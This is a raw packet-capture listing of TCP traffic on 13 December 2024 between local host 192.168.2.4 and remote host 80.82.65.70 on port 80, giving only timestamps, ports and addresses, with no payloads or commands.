Dec 13, 2024 01:09:16.354043007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:16.354250908 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:16.587649107 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:16.707515955 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.150104046 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.150171041 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.150187969 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.150192976 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.150232077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.150232077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.150342941 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.150361061 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.150377989 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.150381088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.150393963 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.150413990 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.150413990 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.150414944 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.150443077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.150443077 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.158658981 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.158720016 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.158737898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.158797979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.166655064 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.166754961 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.166795969 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.166795969 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.269876957 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.269994020 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.341906071 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.341957092 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.341975927 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.342009068 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.344259977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.344312906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.344352007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.344434977 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.352226973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.352264881 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.352287054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.352308035 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.360227108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.360282898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.360371113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.360411882 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.368182898 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.368272066 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.368288994 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.368333101 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.376142025 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.376192093 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.376239061 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.376434088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.384103060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.384282112 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.384311914 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.384453058 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.392036915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.392086029 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.392142057 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.392226934 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.400011063 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.400091887 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.400116920 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.400156021 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.407943964 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.408035994 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.408054113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.408102036 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.415047884 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.415064096 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.415115118 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.415180922 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.421935081 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.421988964 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.422029972 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.422080994 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.428879976 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.429250956 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.534250975 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.534425974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.534440994 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.534472942 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.536679029 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.536761999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.537194967 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.537281036 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.537286997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.539340973 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.542087078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.542140007 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.542146921 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.542185068 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.546770096 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.546890020 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.546899080 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.546958923 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.551409960 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.551489115 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.551501989 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.551664114 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.555879116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.555924892 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.555953979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.556061029 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.561249018 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.561260939 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.561306000 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.565045118 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.565097094 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.565182924 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.565254927 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.569519043 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.569531918 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.569569111 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.573985100 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.574132919 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.574167967 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.574256897 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.578263044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.578421116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.578459024 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.578459978 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.582631111 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.582679987 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.582793951 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.582878113 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.587179899 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.587234974 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.587344885 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.587392092 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.591486931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.591500044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.591609955 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.595999002 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.596189022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.596215963 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.596438885 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.601531982 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.601586103 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.602370024 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.602545977 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.605401993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.605447054 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.605575085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.605662107 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.609467983 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.609536886 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.609610081 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.609756947 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.613600969 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.613636017 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.613667965 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.613667965 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.618578911 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.618665934 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.618700981 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.618762970 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.622670889 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.622683048 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.622900009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.626934052 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.626993895 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.627036095 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:17.627140999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.646795988 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:17.770488977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:18.133502007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:18.133989096 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:20.160792112 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:20.280577898 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:20.644217968 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:20.646549940 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:22.672813892 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:22.792716980 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:23.165043116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:23.166495085 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:25.188157082 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:25.307987928 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:25.673515081 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:25.673613071 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:27.752913952 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:27.873023033 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:28.240423918 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:28.240628958 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:30.266350985 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:30.386219978 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:30.756380081 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:30.756499052 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:32.782198906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:32.902165890 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:33.278681993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:33.278886080 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:35.313657999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:35.433779001 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:35.801270962 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:35.801357985 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:37.830998898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:37.951435089 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:38.324240923 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:38.324393988 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:40.531867027 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:40.651997089 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:41.022181034 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:41.022332907 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:43.052668095 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:43.172733068 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:43.536051989 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:43.536148071 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.016294956 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.137294054 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.658488035 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.658601999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.658651114 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.658791065 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.659468889 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.659492016 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.661454916 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.661550999 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.661657095 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.661722898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.665045977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.665251970 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.666524887 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.668566942 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.668663979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.668690920 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.668791056 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.670906067 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.670980930 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.671021938 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.671124935 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.674418926 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.674505949 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.735734940 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.735774040 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.736053944 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.737112045 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.737194061 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.737235069 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.737318039 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.740470886 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.740555048 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.740607023 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.740734100 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.744716883 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.744792938 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.744821072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.744910955 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.746771097 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.746798992 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.746860981 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.750660896 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.750736952 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.750762939 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.750843048 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.752993107 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.753096104 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.753134012 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.753149033 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.755873919 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.755942106 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.755992889 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.756068945 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.760102034 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.760279894 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.760327101 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.760395050 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.763531923 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.763607979 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.763632059 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.763701916 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.765429974 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.765522957 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.765538931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.765603065 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.768876076 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.768994093 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.769040108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.769109011 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.885895967 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.885931969 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.886038065 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.889647007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.889667988 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.889703035 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:47.889740944 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:47.889755964 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.006793022 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.006810904 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.006923914 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.009738922 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.009759903 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.009829998 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.126427889 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126481056 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126501083 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126517057 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.126527071 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126545906 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126548052 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.126564980 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126581907 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126588106 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.126600027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126611948 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.126617908 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126635075 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126641989 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.126671076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.126822948 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126843929 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126908064 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.126954079 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.126975060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127010107 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127024889 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.127028942 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127046108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127048969 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.127064943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127069950 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.127084017 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127099037 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.127101898 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127125025 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.127151012 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.127851009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127875090 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127892971 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127927065 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127945900 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127948999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.127958059 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.127964020 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127980947 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.127988100 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128000021 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128016949 CET	49731	80	192.168.2.4	80.82.65.70
